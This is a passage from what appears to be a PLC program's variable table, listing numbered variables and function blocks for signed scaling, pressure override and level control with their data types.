+268;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.OUTPUT_INT;INT; +269;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.DIV3_OUT;UINT; +270;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.ABS8_OUT;UINT; +271;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.UINT_TO_INT9_OUT;INT; +272;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5;SCALE_TO_SIGNED; +273;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.EN;BOOL; +274;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.ENO;BOOL; +275;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.INPUT_UINT;UINT; +276;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.OUTPUT_INT;INT; +277;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.DIV3_OUT;UINT; +278;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.ABS8_OUT;UINT; +279;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.UINT_TO_INT9_OUT;INT; +280;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6;SCALE_TO_SIGNED; +281;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.EN;BOOL; +282;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.ENO;BOOL; +283;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.INPUT_UINT;UINT; +284;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.OUTPUT_INT;INT; +285;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.DIV3_OUT;UINT; +286;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.ABS8_OUT;UINT; +287;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.UINT_TO_INT9_OUT;INT; +288;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7;SCALE_TO_SIGNED; +289;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.EN;BOOL; +290;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.ENO;BOOL; +291;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.INPUT_UINT;UINT; +292;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.OUTPUT_INT;INT; +293;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.DIV3_OUT;UINT; +294;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.ABS8_OUT;UINT; +295;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.UINT_TO_INT9_OUT;INT; +296;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8;SCALE_TO_SIGNED; +297;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.EN;BOOL; +298;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.ENO;BOOL; +299;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.INPUT_UINT;UINT; +300;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.OUTPUT_INT;INT; +301;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.DIV3_OUT;UINT; +302;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.ABS8_OUT;UINT; +303;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.UINT_TO_INT9_OUT;INT; +304;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9;SCALE_TO_SIGNED; +305;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.EN;BOOL; +306;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.ENO;BOOL; +307;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.INPUT_UINT;UINT; +308;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.OUTPUT_INT;INT; +309;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.DIV3_OUT;UINT; +310;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.ABS8_OUT;UINT; +311;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.UINT_TO_INT9_OUT;INT; +312;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0;PRESSURE_OVERRIDE; +313;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.EN;BOOL; +314;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.ENO;BOOL; +315;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_REAL;REAL; +316;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE;UINT; +317;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP;UINT; +318;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP_REAL;REAL; +319;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_REAL;REAL; +320;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SP_UPDATE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SP_UPDATE;REAL; +321;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_NOMINL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_NOMINL;REAL; +322;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP;UINT; +323;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP_REAL;REAL; +324;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP;UINT; +325;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_K;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_K;REAL; +326;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_TI;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_TI;REAL; +327;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CYCLE_TIME;TIME; +328;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7;SCALE_TO_REAL; +329;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.EN;BOOL; +330;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.ENO;BOOL; +331;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_INPUT_VALUE;UINT; +332;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.SCALED_REAL;REAL; +333;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MAX;REAL; +334;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MIN;REAL; +335;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MAX;UINT; +336;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MIN;UINT; +337;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RATE;REAL; +338;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.OFFSET;REAL; +339;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MAX;REAL; +340;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MIN;REAL; +341;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MAX;REAL; +342;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MIN;REAL; +343;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0;SCALE_TO_REAL; +344;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.EN;BOOL; +345;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.ENO;BOOL; +346;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +347;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.SCALED_REAL;REAL; +348;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MAX;REAL; +349;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MIN;REAL; +350;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MAX;UINT; +351;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MIN;UINT; +352;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RATE;REAL; +353;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.OFFSET;REAL; +354;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SUB86_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SUB86_OUT;REAL; +355;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MUL87_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MUL87_OUT;REAL; +356;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MAX84_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MAX84_OUT;REAL; +357;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.ADD85_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.ADD85_OUT;REAL; +358;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.LIMIT67_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.LIMIT67_OUT;REAL; +359;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.DIV73_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.DIV73_OUT;REAL; +360;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MUL75_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MUL75_OUT;REAL; +361;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.REAL_TO_UINT79_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.REAL_TO_UINT79_OUT;UINT; +362;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0;LEVEL_CONTROL; +363;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.EN;BOOL; +364;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.ENO;BOOL; +365;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIQUID_LEVEL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIQUID_LEVEL;UINT; +366;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_SP;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_SP;UINT; +367;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CURR_POS;UINT; +368;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.NEW_POS;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.NEW_POS;UINT; +369;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CYCLE_TIME;TIME; +370;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_K;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_K;REAL; +371;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_TI;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_TI;REAL; +372;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +373;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +374;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +375;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +376;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +377;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +378;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +379;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +380;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +381;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +382;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +383;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MAX;REAL; +384;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MIN;REAL; +385;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MAX;REAL; +386;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MIN;REAL; +387;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_REAL;REAL; +388;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_REAL;REAL; +389;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_UPDATE_REAL;REAL; +390;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SP_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SP_REAL;REAL; +391;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1;SCALE_TO_REAL; +392;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.EN;BOOL; +393;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.ENO;BOOL; +394;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;UINT; +395;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;REAL; +396;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MAX;REAL; +397;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MIN;REAL; +398;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MAX;UINT; +399;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MIN;UINT; +400;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RATE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RATE;REAL; +401;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.OFFSET;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.OFFSET;REAL; +402;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2;SCALE_TO_REAL; +403;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.EN;BOOL; +404;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.ENO;BOOL; +405;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;UINT; +406;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;REAL; +407;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MAX;REAL; +408;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MIN;REAL; +409;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MAX;UINT; +410;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MIN;UINT; +411;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RATE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RATE;REAL; 